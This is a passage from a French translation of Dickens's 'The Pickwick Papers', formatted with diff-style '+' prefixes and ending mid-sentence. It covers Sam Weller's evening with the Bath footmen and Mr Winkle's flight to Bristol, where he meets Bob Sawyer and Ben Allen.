+En entendant ce discours, l'homme bleu sourit comme une personne
+accoutumée aux compliments, mais en même temps il regarda Sam d'un air
+approbatif et répondit qu'il espérait cultiver davantage sa
+connaissance, car, sans flatterie, il y avait en lui l'étoffe d'un joli
+garçon, et tout à fait selon son coeur.
+
+«Vous êtes bien bon, monsieur, rétorqua Sam. Quel heureux gaillard vous
+êtes!
+
+--Qu'est-ce que vous voulez dire? demanda l'homme bleu avec une modeste
+confusion.
+
+--Cette jeune demoiselle ici, elle sait ce que vous valez, j'en suis
+sûr. Ah! je comprends les choses; et Sam ferma un oeil en roulant sa
+tête d'une épaule à l'autre, d'une manière fort satisfaisante pour la
+vanité personnelle du gentleman azuré.
+
+«Vous êtes trop malin, répliqua-t-il.
+
+--Non, non, c'est bon pour vous, reprit Sam; ça ne me regarde pas, comme
+dit le gentleman qu'était en dedans du mur à celui qu'était dans la rue,
+quand le taureau courait comme un enragé.
+
+--Eh bien! monsieur Weller, nullement, je crois qu'elle a remarqué mon
+air et me manières.
+
+--J'imagine que ça ne peut guère être autrement.
+
+--Avez-vous qué'que amourette de ce genre en train, monsieur? demanda à
+Sam l'heureux gentleman en tirant un cure-dents de la poche de son
+gilet.
+
+--Pas exactement, répondit Sam; il n'y a pas de demoiselle à la maison,
+autrement j'aurais fait la cour à l'une d'elles, nécessairement. Mais,
+voyez-vous, je ne voudrais pas me compromettre avec une femme au-dessous
+d'une marquise; je pourrais prendra une richarde, si elle devenait folle
+de moi, mais pas autrement, non ma foi!
+
+--Certainement, non, monsieur Weller. Il ne faut pas se laisser
+déprécier. Nous, qui sommes des hommes du monde, nous savons que, tôt ou
+tard, un bel uniforme écorne toujours le coeur d'une dame. Au fait,
+c'est la seule chose, entre nous, qui fait qu'on peut entrer au service.
+
+--Justement, dit Sam; c'est ça, rien que ça.»
+
+Après ce dialogue confidentiel, des verres furent distribués à la ronde;
+et, avant que la taverne fût fermée, chaque gentleman demanda ce qu'il
+aimait le mieux. Le gentleman en bleu et l'homme en orange, qui étaient
+les beaux fils de la société, ordonnèrent du grog froid; mais le
+breuvage favori des autres paraissait être le genièvre et l'eau sucrée.
+Sam appela le fruitier: _Satané coquin!_ et ordonna un bol de punch,
+deux circonstances qui semblèrent l'élever beaucoup dans l'opinion des
+domestiques choisis.
+
+«Gentlemen, dit l'homme bleu avec le ton du plus consommé dandy, allons!
+à la santé des dames!
+
+--Écoutez! écoutez! s'écria Sam, aux jeunes maîtresses.»
+
+À ce mot, de toutes parts on entendit crier: _à l'ordre!_ Et M. John
+Smauker, étant le gentleman qui avait introduit Sam dans la société,
+l'informa que ce mot n'était pas parlementaire.
+
+«Quel mot, monsieur? demanda Sam.
+
+--Maîtresse, monsieur, répondit M. Smauker avec un froncement de
+sourcils effrayant. Ici nous ne reconnaissons pas de distinctions
+semblables.
+
+--Oh! très-bien alors; j'amenderai mon observation, et je les appellerai
+les chères criatures, si Flambant veut bien le permettre.»
+
+Quelques doutes parurent s'élever dans l'esprit du gentleman en culotte
+verte, sur la question de savoir si le président pouvait être légalement
+interpellé par le nom de Flambant; toutefois, comme les assistants
+semblaient moins soigneux de ses droits que des leurs, l'observation
+n'eut point de suite. L'homme au chapeau à cornes fit entendre une
+petite toux courte et regarda longuement Sam; mais il pensa apparemment
+qu'il ferait aussi bien de ne rien dire, de peur de s'en trouver plus
+mal.
+
+Après un instant de silence, un gentleman, dont l'habit brodé descendait
+jusqu'à ses talons, et dont le gilet, également brodé, tenait au chaud
+la moitié de ses jambes, remua son genièvre et son eau avec une grande
+énergie; et, se levant tout d'un coup sur ses pieds, par un violent
+effort, annonça qu'il désirait adresser quelques observations à la
+compagnie. L'homme au chapeau retroussé s'étant hâté de l'assurer que la
+compagnie serait très-heureuse d'entendre toutes les observations qu'il
+pourrait avoir à faire, le gentleman au grand habit commença en ces
+termes:
+
+«Je sens une grande délicatesse à me mettre en avant, gentlemen, ayant
+l'infortune de n'être qu'un cocher et n'étant admis que comme membre
+honoraire dans ces agréables soirées; mais je me sens poussé, gentlemen,
+l'éperon dans le ventre, si je puis employer cette expression, à vous
+faire connaître une circonstance affligeante qui est venue à ma
+connaissance et qui est arrivée, je puis dire, à la portée de mon fouet.
+Gentlemen, notre ami, M. Whiffers (tout le monde regarda l'individu
+orange); notre ami, M. Whiffers a donné sa démission.»
+
+Un étonnement universel s'empara des auditeurs. Chaque gentleman
+regardait son voisin et reportait ensuite son oeil inquiet sur le
+cocher, qui continuait à se tenir debout.
+
+«Vous avez bien raison d'être surpris, gentlemen, poursuivit celui-ci.
+Je ne me permettrai pas de vous frelater les motifs de cette irréparable
+perte pour le service; mais je prierai M. Whiffers de les énoncer
+lui-même, pour l'instruction et l'imitation de ses amis.»
+
+Cette suggestion ayant été hautement applaudie, M. Whiffers s'expliqua.
+Il dit qu'il aurait certainement désiré de continuer à remplir l'emploi
+qu'il venait de résigner. L'uniforme était extrêmement riche et coûteux,
+les dames de la famille très-agréables, et les devoirs de sa place, il
+était obligé d'en convenir, n'étaient pas trop lourds. Le principal
+service qu'on exigeait de lui était de passer le plus de temps possible
+à regarder par la fenêtre, en compagnie d'un autre gentleman, qui avait
+également donné sa démission. Il aurait désiré épargner à la compagnie
+les pénibles et dégoûtants détails dans lesquels il allait être obligé
+d'entrer; mais, comme une explication lui avait été demandée, il n'avait
+pas d'autre alternative que de déclarer hardiment et distinctement qu'on
+avait voulu lui faire manger de la viande froide.
+
+Impossible de concevoir le dégoût qu'éveilla cet aveu dans le sein des
+auditeurs. Pendant un quart d'heure, au moins, on n'entendit que de
+violents cris de: _Honteux! Ignoble!_ mêlés de sifflets et de
+grognements.
+
+M. Whiffers ajouta alors qu'il craignait qu'une partie de cet outrage ne
+pût être justement attribué à ses dispositions obligeantes et
+accommodantes. Il se souvenait parfaitement d'avoir consenti une fois à
+manger du beurre salé; et, dans une occasion où il y avait eu subitement
+plusieurs malades dans la maison, il s'était oublié au point de monter
+lui-même un panier de charbon de terre jusqu'au second étage. Il
+espérait qu'il ne s'était pas abaissé dans la bonne opinion de ses amis
+par cette franche confession de sa faute; mais s'il avait eu ce malheur,
+il se flattait d'y être remonté par la promptitude avec laquelle il
+avait repoussé le dernier et flétrissant outrage qu'on avait voulu faire
+subir à ses sentiments d'homme et d'Anglais.
+
+Le discours de M. Whiffers fut accueilli par des cris d'admiration, et
+l'on but à la santé de l'intéressant martyr, de la manière la plus
+enthousiaste. Le martyr fit ses remercîments à la société et proposa la
+santé de leur visiteur, M. Weller, gentleman qu'il n'avait pas le
+plaisir de connaître intimement, mais qui était l'ami de M. John
+Smauker, ce qui devait être, partout et toujours, une lettre de
+recommandation suffisante pour toute société de gentlemen. Par ces
+considérations, il aurait été disposé à voter la santé de M. Weller avec
+tous les _honneurs_, si ses amis avaient bu du vin; mais comme ils
+prenaient des spiritueux et qu'il pourrait être dangereux de vider un
+verre à chaque toast, il proposait que les honneurs fussent
+sous-entendus.
+
+À la conclusion de ce discours, tous les assistants burent une partie de
+leur verre en l'honneur de Sam; et celui-ci, ayant puisé dans le bol et
+avalé deux verres en l'honneur de lui-même, offrit ses remercîments à
+l'assemblée dans un élégant discours.
+
+«Bien obligé, mes vieux, dit-il en retournant au bol avec la plus grande
+désinvolture. Venant d'où ce que ça vient, c'est prodigieusement
+flatteur. J'avais beaucoup entendu parler de vous; mais je n'imaginais
+pas, je dois le dire, que vous eussiez été d'aussi étonnamment jolis
+hommes que vous êtes. J'espère seulement que vous ferez attention à vous
+et que vous ne compromettrez en rien votre dignité, qui est une
+charmante chose à voir, quand on vous rencontre en promenade, et qui m'a
+toujours fait grand plaisir depuis que je n'étais qu'un moutard, moitié
+si haut que la canne à pomme de cuivre de mon très-respectable ami
+Flambant, ici présent. Quant à la victime de l'oppression en habit
+jaune, tout ce que je puis dire de lui, c'est que j'espère qu'il
+trouvera une occupation aussi bonne qu'il le mérite, moyennant quoi il
+sera très-rarement affligé avec des rat-houttes froids.»
+
+Cela dit, Sam se rassit avec un agréable sourire, et son oraison ayant
+été bruyamment applaudie, la société se sépara bientôt après.
+
+«Par exemple, vieux, vous n'avez pas envie de vous en aller, dit Sam à
+son ami M. John Smauker?
+
+--Il le faut, en vérité, répondit celui-ci. J'ai promis à Bantam.
+
+--Oh! c'est très-bien, reprit Sam, c'est une autre affaire. Peut-être
+qu'il donnerait sa démission si vous le désappointiez. Mais vous,
+Flambant, vous ne vous en allez pas?
+
+--Mon Dieu, si, répliqua l'homme au chapeau à cornes.
+
+--Quoi! et laisser derrière vous les trois-quarts d'un bol de punch?
+Cette bêtise! rasseyez-vous donc!»
+
+M. Tuckle ne put résister à une invitation si pressante; il déposa son
+chapeau et sa canne et répondit qu'il boirait encore un verre pour faire
+plaisir à M. Weller.
+
+Comme le gentleman en bleu demeurait du même côté que M. Tuckle, il
+consentit également à rester. Lorsque le punch fut à moitié bu, Sam fit
+venir des huîtres de la boutique du fruitier, et leur effet, joint à
+celui du punch, fut si prodigieux, que M. Tuckle, coiffé de son chapeau
+à cornes et armé de sa canne à grosse pomme, se mit à danser un pas de
+matelot sur la table, au milieu des coquilles, tandis que le gentleman
+en bleu l'accompagnait sur un ingénieux instrument musical, formé d'un
+peigne et d'un papier à papillotes. À la fin quand le punch fut terminé
+et que la nuit fut également fort avancée, ils sortirent tous les trois
+pour chercher leur maison. À peine M. Tuckle se trouva-t-il au grand air
+qu'il fut saisi d'un soudain désir de se coucher sur le pavé. Sam
+pensant que ce serait une pitié de le contredire, lui laissa prendre son
+plaisir où il la trouvait; mais, de peur que le chapeau à cornes de
+Flambant ne s'abîmât, dans ces conjonctures, il l'aplatit bravement sur
+la tête du gentleman en livrée bleue, lui mit la grande canne à la main,
+l'appuya contre la porte de sa maison, tira pour lui la sonnette et s'en
+alla tranquillement à son hôtel.
+
+Dans la matinée suivante, M. Pickwick descendit, complètement habillé,
+beaucoup plus tôt qu'il n'avait l'habitude de le faire, et sonna son
+fidèle domestique.
+
+Sam ayant répondu exactement à cet appel, le philosophe commença par lui
+faire fermer soigneusement la porte, et dit ensuite:
+
+«Sam, il est arrivé ici, la nuit dernière, un malheureux accident qui a
+donné à M. Winkle quelques raisons de redouter la violence de M. Dowler.
+
+--Oui, monsieur, j'ai entendu dire cela à la vieille dame de la maison.
+
+--Et je suis fâché d'ajouter, continua M. Pickwick d'un air intrigué et
+contrarié, je suis fâché d'ajouter que, dans la crainte de cette
+violence, M. Winkle est parti.
+
+--Parti!
+
+--Il a quitté la maison ce matin, sans la plus légère communication avec
+moi, et il est allé je ne sais pas où.
+
+--Il aurait dû rester et se battre, monsieur, dit Sam d'un ton
+contempteur. Il ne faudrait pas grand'chose pour redresser ce Dowler.
+
+--C'est possible, Sam; j'ai peut-être aussi quelques doutes sur sa
+grande valeur, mais, quoi qu'il en soit, M. Winkle est parti. Il faut le
+trouver, Sam, le trouver et me le ramener.
+
+--Et si il ne veut pas venir, monsieur?
+
+--Il faudra le lui faire vouloir, Sam.
+
+--Et qui le fera, monsieur? demanda Sam avec un sourire.
+
+--Vous.
+
+--Très-bien, monsieur.»
+
+À ces mots, Sam quitta la chambre, et bientôt après M. Pickwick
+l'entendit fermer la porte de la rue. Au bout de deux heures, il revint
+d'un air aussi calme que s'il avait été dépêché pour le message le plus
+ordinaire, et rapporta qu'un individu, ressemblant en tous points à M.
+Winkle, était parti le matin pour Bristol, par la voiture de l'Hôtel
+royal.
+
+«Sam, dit M. Pickwick en lui serrant la main, vous êtes un garçon
+précieux, inestimable. Vous allez le poursuivre, Sam.
+
+--Certainement, monsieur.
+
+--Aussitôt que vous le découvrirez, écrivez-moi. S'il essaye de vous
+échapper, empoignez-le, terrassez-le, enfermez-le. Je vous délègue toute
+mon autorité, Sam.
+
+--Je ne l'oublierai pas, monsieur.
+
+«Vous lui direz que je suis fort irrité, excessivement indigné de la
+démarche extraordinaire qu'il lui a plu de faire.
+
+--Oui, monsieur.
+
+--Vous lui direz que, s'il ne revient pas dans cette maison, avec vous,
+il y reviendra avec moi, car j'irai le chercher.
+
+--Je lui en glisserai deux mots, monsieur.
+
+--Vous pensez pouvoir le trouver? poursuivit M. Pickwick en regardant
+Sam d'un air inquiet.
+
+--Je le trouverai s'il est quelque part, répliqua Sam avec confiance.
+
+--Très-bien. Alors plus tôt vous partirez, mieux ce sera.»
+
+M. Pickwick ayant ajouté une somme d'argent à ses instructions, Sam mit
+quelques objets nécessaires dans un sac de nuit et s'éloigna pour son
+expédition. Pourtant il s'arrêta au bout du corridor, et, revenant
+doucement sur ses pas, il entr'ouvrit la porte du parloir, et, ne
+laissant voir que sa tête:
+
+«Monsieur? murmura-t-il.
+
+--Eh bien! Sam.
+
+--J'entends-t-il parfaitement mes instructions, monsieur?
+
+--Je l'espère.
+
+--C'est-il convenu pour le terrassement, monsieur
+
+--Parfaitement. Faites ce que vous jugerez nécessaire. Vous aurez mon
+approbation.»
+
+Sam fit un signe d'intelligence; et, retirant sa tête de la porte
+entre-bâillée, se mit en route pour son pèlerinage le coeur tout à fait
+léger.
+
+
+
+
+CHAPITRE IX.
+
+Comment M. Winkle, voulant sortir de la poêle à frire, se jeta
+tranquillement et confortablement dans le feu.
+
+
+L'infortuné gentleman, cause innocente du tumulte qui avait alarmé les
+habitants du _Royal-Crescent_, dans les circonstances ci-devant
+décrites, après avoir passé une nuit pleine de trouble et d'anxiété,
+quitta le toit sous lequel ses amis dormaient encore, sans savoir où il
+dirigerait ses pas. On ne saurait jamais apprécier trop hautement, ni
+trop chaudement louer les sentiments réfléchis et philanthropiques qui
+déterminèrent M. Winkle à adopter cette conduite. «Si ce Dowler,
+raisonnait-il en lui-même, si ce Dowler essaye (comme je n'en doute pas)
+d'exécuter ses menaces, je serai obligé de l'appeler sur le terrain. Il
+a une femme; cette femme lui est attachée et a besoin de lui. Ciel! si
+j'allais l'immoler à mon aveugle rage, quels seraient ensuite mes
+remords!» Cette réflexion pénible affectait si puissamment l'excellent
+jeune homme que ses joues pâlissaient, que ses genoux
+s'entre-choquaient. Déterminé par ces motifs, il saisit son sac de nuit,
+et descendant l'escalier à pas de loups, ferma, avec le moins de bruit
+possible, la détestable porte de la rue, et s'éloigna rapidement. Il
+trouva à l'Hôtel royal une voiture sur le point de partir pour Bristol.
+«Autant vaut, pensa-t-il, autant vaut Bristol que tout autre endroit!»
+Il monta donc sur l'impériale, et atteignit le lieu de sa destination en
+aussi peu de temps qu'on pouvait raisonnablement l'espérer de deux
+chevaux obligés de franchir quatre fois par jour la distance qui sépare
+les deux villes.
+
+M. Winkle établit ses quartiers à l'hôtel du _Buisson_. Il était résolu
+à s'abstenir de toute communication épistolaire avec M. Pickwick jusqu'à
+ce que la frénésie de M. Dowler eût eu le temps de s'évaporer, et trouva
+que dans ces circonstances il n'avait rien de mieux à faire que de
+visiter la ville. Il sortit donc et fut, tout d'abord, frappé de ce fait
+qu'il n'avait jamais vu d'endroit aussi sale. Ayant inspecté les docks
+ainsi que le port, et admiré la cathédrale, il demanda le chemin de
+Clifton, et suivit la route qui lui fut indiquée; mais, de même que les
+pavés de Bristol ne sont pas les plus larges ni les plus propres de tous
+les pavés, de même ses rues ne sont pas absolument les plus droites ni
+les moins entrelacées. M. Winkle se trouva bientôt complètement
+embrouillé dans leur labyrinthe, et chercha autour de lui une boutique
+décente, où il pût demander de nouvelles instructions.
+
+Ses yeux tombèrent sur un rez-de-chaussée nouvellement peint qui avait
+été converti en quelque chose qui tenait le milieu entre une boutique et
+un appartement. Une lampe rouge qui s'avançait au-dessus de la porte
+l'aurait suffisamment annoncé comme la demeure d'un suppôt d'Esculape
+quand même le mot: _chirurgie_[10] n'aurait pas été inscrit, en lettres
+d'or, au-dessus de la fenêtre, qui avait autrefois été celle du parloir
+au devant. Pensant que c'était là un endroit convenable pour demander
+son chemin, M. Winkle entra dans la petite boutique garnie de tiroirs et
+de flacons, aux inscriptions dorés. N'y apercevant aucun être vivant, il
+frappa sur le comptoir avec une demi couronne, afin d'attirer
+l'attention des personnes qui pourraient être dans l'arrière-parloir,
+espèce de _sanctum sanctorum_ de l'établissement, car le mot:
+_chirurgie_ était répété sur la porte, en lettres blanches, cette fois,
+pour éviter la monotonie.
+
+[Footnote 10: En Angleterre, surtout dans les petites villes, les gens
+qui vendent des médicaments donnent en même temps des consultations, et
+prennent le titre de _chirurgiens_.]
+
+Au premier coup, un bruit très-sensible jusqu'alors, et semblable à
+celui d'un assaut exécuté avec des pelles et des pincettes, cessa
+soudainement. Au second coup un jeune gentleman, à l'air studieux,
+portant sur son nez de larges bésicles vertes et dans ses mains un
+énorme livre, entra d'un pas grave dans la boutique, et, passant
+derrière le comptoir, demanda à M. Winkle ce qu'il désirait.
+
+«Je suis fâché de vous déranger, monsieur, répondit celui-ci.
+Voulez-vous avoir la bonté de m'indiquer....
+
+--Ha! ha! ha! se mit à beugler le studieux gentleman, en jetant en l'air
+son énorme livre et en le rattrapant avec grande dextérité, au moment où
+il menaçait de réduire en atomes toutes les fioles qui garnissaient le
+comptoir. En voilà une bonne!»
+
+Si l'inconnu entendit par là une bonne secousse, il n'avait pas tort,
+car M. Winkle avait été si étonné de la conduite extraordinaire du
+jeune docteur, qu'il avait précipitamment battu en retraite jusqu'à la
+porte, et paraissait fort troublé par cette étrange réception.
+
+«Comment! Est-ce que vous ne me reconnaissez pas?» s'écria le
+chirurgien-apothicaire.
+
+M. Winkle balbutia qu'il n'avait pas ce plaisir.
+
+«Ah! bien alors, il y a encore de l'espoir pour moi! Je puis soigner la
+moitié des vieilles femmes de Bristol, si j'ai un peu de chance.
+Maintenant, au diable, vieux bouquin moisi!» Cette adjuration
+s'adressait au gros volume, que le studieux pharmacien lança, avec une
+vigueur remarquable, à l'autre bout de la boutique; puis, retirant ses
+lunettes vertes, il découvrit aux regards stupéfaits de M. Winkle, le
+ricanement identique de Robert Sawyer, esquire, ci-devant étudiant à
+l'hôpital de Guy, dans le _Borough_, et possesseur d'une résidence
+privée dans _Lant-Street_.
+
+«Vous veniez pour me voir, n'est-ce pas? vous ne direz pas le contraire?
+s'écria M. Bob Sawyer en secouant amicalement la main de M. Winkle.
+
+--Non, sur ma parole! répliqua celui-ci en serrant la main de M. Sawyer.
+
+--Quoi! vous n'avez pas remarqué mon nom? demanda Bob en appelant
+l'attention de son ami sur la porte extérieure, au-dessus de laquelle
+étaient tracés ces mots: _Sawyer successeur de Nockemorf_.
+
+--Mes yeux ne sont pas tombés dessus, dit M. Winkle.
+
+--Ma foi! si j'avais su que c'était vous, reprit Bob, je me serais
+précipité et je vous aurais reçu dans mes bras. Mais, sur mon honneur,
+je croyais que vous étiez le percepteur des contributions.[11]
+
+[Footnote 11: Le gouvernement anglais a l'obligeance de faire toucher
+les taxes chez les contribuables.]
+
+--Pas possible!
+
+--Vrai. J'allais vous dire que je n'étais pas à la maison, et que si
+vous vouliez me laisser un message, je ne manquerais pas de me le
+remettre; car le collecteur des taxes ne me connaît point, pas plus que
+celui de l'éclairage, ni du pavé. Je crois que le collecteur de l'église
+soupçonne qui je suis, et je sais que celui des eaux ne l'ignore pas,
+parce que je lui ai tiré une dent le premier jour que je suis venu ici.
+Mais entrez, entrez donc!»
+
+Tout en bavardant de la sorte, Bob poussait M. Winkle dans
+l'arrière-parloir, où s'était assis un personnage qui n'était pas moins
+que M. Benjamin Allen. Il s'amusait gravement à faire de petites
+cavernes circulaires dans le manteau de la cheminée, au moyen d'un
+fourgon rougi.
+
+«En vérité, dit M. Winkle, voilà un plaisir que je n'avais pas espéré.
+Quelle jolie retraite vous avez là!
+
+--Pas mal, pas mal, repartit Bob. J'ai été reçu peu de temps après cette
+fameuse soirée; et mes amis se sont saignés pour m'aider à acheter cet
+établissement. Ainsi j'ai endossé un habit noir et une paire de
+lunettes, et je suis venu ici pour avoir l'air aussi solennel que
+possible.
+
+--Et vous avez sans doute une jolie clientèle? demanda M. Winkle d'un
+air fin.
+
+--Oh! si mignonne, qu'à la fin de l'année vous pourriez mettre tous les
+profits dans un verre à liqueur, et les couvrir avec une feuille de
+groseille.
+
+--Vous voulez rire. Rien que les marchandises....
+
+--Pure charge, mon cher garçon. La moitié des tiroirs est vide, et
+l'autre moitié n'ouvre point.
+
+--Vous plaisantez?
+
+--C'est un fait, rétorqua Bob en allant dans la boutique et démontrant
+la véracité de son assertion par de violentes secousses données aux
+petits boutons dorés des tiroirs imaginaires.
+
+--Du diable s'il y a une seule chose réelle dans la boutique, exceptés
+les sangsues; et encore elles ont déjà servi.
+
+--Je n'aurais jamais cru cela! s'écria M. Winkle plein de surprise.
+
+--Je m'en flatte un peu, reprit Bob; autrement à quoi serviraient les
+apparences, hein? Mais, que voulez-vous prendre! Comme nous? C'est bon.
+Ben, mon garçon, fourrez la main dans le buffet, et amenez-nous le
+digestif breveté.»
+
+M. Benjamin Allen sourit pour indiquer son consentement, et tira du
+buffet une bouteille noire, à moitié pleine d'eau-de-vie.
+
+«Vous n'y mettez pas d'eau, n'est-ce pas? dit Bob à M. Winkle.
+
+--Pardonnez-moi, repartit celui-ci. Il est de bonne heure et j'aimerais
+mieux mélanger, si vous ne vous y opposez point.
+
+--Pas le moins du monde, si votre conscience vous le permet, répliqua
+Bob en avec sensualité un verre du liquide bienfaisant. Ben, passe-nous
+l'eau.»
+
+M. Benjamin Allen tira de la même place une petite cocote de cuivre,
+dont M. Bob déclara qu'il était très-fier à cause de sa physionomie
+médicale. Lorsqu'on eut fait bouillir l'eau contenue dans la cocote, au
+moyen de plusieurs pelletées de charbon de terre que Bob puisa dans une
+caisse qui portait pour inscription: _eau de selz_, M. Winkle baptisa
+son eau-de-vie, et la conversation commençait à devenir générale,
+lorsqu'elle fut interrompue par l'entrée d'un jeune garçon, vêtu d'une
+sévère livrée grise, ayant un galon d'or à son chapeau, et tenant sur
+son bras un petit panier couvert.
+
+M. Bob l'apostropha immédiatement.
+
+«Tom, vagabond! venez-ici! (L'enfant s'approcha en conséquence.) Vous
+vous êtes arrêté à toutes les bornes de Bristol, vilain fainéant!
+
+--Non, monsieur, répondit l'enfant.
+
+--Prenez-y garde, reprit Bob avec un visage menaçant. Pensez-vous que
+quelqu'un voudrait employer un chirurgien, si on voyait son garçon jouer
+aux billes dans tous les ruisseaux, ou enlever un cerf-volant sur la
+grande route? Ayez soin, monsieur, de conserver toujours le respect de
+votre profession. Avez-vous porté tous les médicaments, paresseux?
+
+--Oui, monsieur.
+
+--La poudre pour les enfants, dans la grande maison habitée par la
+famille nouvellement arrivée? Et les pilules digestives chez le vieux
+gentleman grognon et goutteux?
+
+--Oui, monsieur.
+
+--Alors fermez la porte et faites attention à la boutique.
+
+--Allons! dit M. Winkle quand le jeune garçon se fut retiré, les choses
+ne vont pas tout à fait aussi mal que vous voudriez me le faire croire.
+Vous avez toujours quelques médicaments à fournir.»
+
+Bob Sawyer regarda dans la boutique pour s'assurer qu'il n'y avait pas
+d'oreilles étrangères, puis se penchant vers M. Winkle, il lui dit à
+voix basse: «Il se trompe toujours de maison.»
+
+La physionomie de M. Winkle exprima qu'il n'y était plus du tout, tandis
+que Bob et son ami riaient à qui mieux mieux.
+
+«Vous ne me comprenez pas? dit Bob. Il va dans une maison, tire la
+sonnette, fourre un paquet de médicaments sans adresse dans la main,
+d'un domestique et s'en va. Le domestique porte le paquet dans la salle
+à manger; le maître l'ouvre, et lit la suscription: _Potion à prendre
+le soir; pilules selon la formule; lotion idem; Sawyer, successeur de
+Nockemorf, prépare avec soin les ordonnances, etc., etc._ Le gentleman
+montre le paquet à sa femme; elle lit l'inscription, elle le renvoie aux
+domestiques; ils lisent l'inscription. Le lendemain le garçon revient:
+Très-fâché. Il s'est trompé. Tant d'affaires, tant de paquets à porter.
+M. Sawyer, successeur de Nockemorf, offre ses compliments. Le nom reste
+dans la mémoire, et voilà l'affaire, mon garçon; cela vaut mieux que
+toutes les annonces du monde. Nous avons une bouteille de quatre onces
+qui a couru dans la moitié des maisons de Bristol, et qui n'a point
+encore fini sa ronde.
+
+--Tiens, tiens! je comprends, répondit M. Winkle, un fameux plan.
+
+--Oh! Ben et moi, nous en avons trouvé une douzaine comme cela; continua
+l'habile pharmacien, avec une grande satisfaction. L'allumeur de
+réverbères reçoit dix-huit pence par semaines pour tirer ma sonnette de
+nuit, pendant dix minutes, chaque fois qu'il passe devant la maison; et
+tous les dimanches, mon garçon court dans l'église, juste au moment des
+psaumes, quand personne n'a rien à faire que de regarder autour de soi,
+et il m'appelle avec un air effaré. «Bon! disent les assistants,
+quelqu'un est tombé malade tout à coup; on envoie chercher Sawyer,
+successeur de Nockemorf; comme ce jeune homme est occupé!»
+
+Ayant ainsi divulgué les arcanes de l'art médical, M. Bob Sawyer et son
+ami Ben Allen se renversèrent sur leurs chaises, et éclatèrent de rire
+bruyamment. Quand ils s'en furent donné à coeur joie, la conversation
+recommença, et vint toucher un sujet qui intéressait plus immédiatement
+M. Winkle.
+
+Nous pensons avoir dit ailleurs que M. Benjamin Allen devenait
+habituellement fort sentimental, après boire. Le cas n'est pas unique,
+comme nous pouvons l'attester nous-même, ayant eu affaire quelquefois à
+des patients affectés de la même manière. Dans cette période de son
+existence, M. Allen avait plus que jamais une prédisposition à la
+sentimentalité. Cette maladie provenait de ce qu'il demeurait depuis
+plus de trois semaines avec M. Sawyer; car l'amphitryon n'était pas
+remarquable par la tempérance, et l'invité ne pouvait nullement se
+vanter d'avoir la tête forte. Pendant tout cet espace de temps, Benjamin
+avait toujours flotté entre l'ivresse partielle et l'ivresse complète.
+
+«Mon bon ami, dit-il à M. Winkle, en profitant de l'absence temporaire
+de M. Bob Sawyer, qui était allé administrer à un chaland quelques-unes
+de ses sangsues d'occasion: mon bon ami, je suis bien malheureux!»
+
+M. Winkle exprima tous ses regrets, en apprenant cette nouvelle et
+demanda s'il ne pouvait rien faire pour alléger les chagrins de
+l'infortuné étudiant.
+
+«Rien, mon cher, rien. Vous rappelez-vous Arabelle? ma soeur Arabelle?
+Une petite fille qui a des yeux noirs. Je ne sais pas si vous l'avez
+remarquée cher M. Winkle? Une jolie petite fille, Winkle. Peut-être que
+mes traits pourront vous rappeler sa physionomie.»
+
+M. Winkle n'avait pas besoin de procédés artificiels pour se souvenir de
+la charmante Arabelle, et c'était fort heureux, car certainement les
+traits du frère lui auraient difficilement rappelé ceux de la soeur. Il
+répondit, avec autant de calme qu'il lui fut possible d'en feindre,
+qu'il se rappelait parfaitement avoir vu la jeune personne en question,
+et qu'il se flattait qu'elle était en bonne santé.
+
+Pour toute réponse, M. Ben Allen, lui dit: «Notre ami Bob est un
+charmant garçon, Winkle.
+
+--C'est vrai, répliqua laconiquement M. Winkle, qui n'aimait pas
+beaucoup le rapprochement de ces deux noms.
+
+--Je les ai toujours destinés l'un à l'autre; ils ont été crées l'un
+pour l'autre; ils sont venus au monde l'un pour l'autre; ils ont été
+élevés l'un pour l'autre, dit M. Ben Allen, en posant son verre avec
+emphase. Il y a un coup du sort dans cette affaire, mon cher garçon; il
+n'y a entre eux qu'une différence de cinq ans, et tous les deux sont nés
+dans le mois d'août.»
+
+M. Winkle était trop impatient d'entendre le reste, pour exprimer
+beaucoup d'étonnement de cette coïncidence, toute merveilleuse qu'elle
+fût. Ainsi, après une larme ou deux, Ben continua à dire que malgré
+toute son estime et son respect, et sa vénération pour son ami, sa soeur
+Arabelle avait toujours, ingratement et sans raison, montré la plus vive
+antipathie pour sa personne. Et je pense, conclua-t-il, je pense qu'il y
+a un attachement antérieur.
+
+--Avez-vous quelque idée sur la personne?» demanda en tremblant M.
+Winkle.
+
+M. Ben Allen saisit le fourgon, le fit tourner d'une manière martiale
+au-dessus de sa tête, infligea un coup mortel sur un crâne imaginaire,
+et termina en disant, d'une façon très-expressive: «Je voudrais le
+connaître, voilà tout. Je lui montrerais ce que j'en pense!» et pendant
+ce temps le fourgon tournoyait avec plus de férocité que jamais.
+
+Tout cela, comme on le suppose, était fort consolant pour M. Winkle. Il
+resta silencieux durant quelques minutes, mais à la fin, il rassembla
+tout son courage, et demanda si miss Allen était dans le comté de Kent.
+
+«Non, non, répondit Ben, en déposant le fourgon et en prenant un air
+fort rusé. Je n'ai pas pensé que la maison du vieux Wardle fût
+exactement ce qui convenait pour une jeune fille entêtée. Aussi, comme
+je suis son protecteur naturel et son tuteur, puisque nos parents sont
+défunts, je l'ai amenée dans ce pays-ci pour passer quelques mois chez
+une vieille tante, dans une jolie maison bien ennuyeuse et bien fermée.
+J'espère que cela la guérira. Si ça ne réussit pas, je l'emmènerai à
+l'étranger pendant quelque temps, et nous verrons alors.
+
+--Et... et... la tante demeure à Bristol? balbutia M. Winkle.
+
+--Non, non; pas dans Bristol, répondit Ben, en passant son pouce
+par-dessus son épaule droite. Par-là bas; mais chut! voici Bob. Pas un
+mot, mon cher ami, pas un mot.»
+
+Toute courte qu'avait été cette conversation, elle produisit chez M.
+Winkle l'anxiété la plus vive. L'attachement antérieur, que soupçonnait
+Ben, agitait son coeur. Pouvait-il en être l'objet? Était-ce pour lui
+que la séduisante Arabelle avait dédaigné le spirituel Bob Sawyer? ou
+bien avait-il un rival préféré? Il se détermina à la voir, quoi qu'il
+pût en arriver. Mais ici se présentait une objection insurmontable; car
+si l'explication donnée par Ben avec ces mots: _par là-bas_, voulait
+dire trois milles, ou trente milles, ou trois cents milles, M. Winkle ne
+pouvait en aucune façon le conjecturer. Au reste il n'eut pas, pour le
+moment, le loisir de penser à ses amours, l'arrivée de Bob ayant été
+immédiatement suivie par celle d'un pâté, dont M. Winkle fut instamment
+prié de prendre sa part. La nappe fut mise par une femme de ménage, qui
+officiait comme femme de charge de M. Bob Sawyer. La mère du jeune
+garçon en livrée grise apporta un troisième couteau et une troisième
+fourchette (car l'établissement domestique de M. Sawyer était monté sur
+une échelle assez limitée), et les trois amis commencèrent à dîner. La
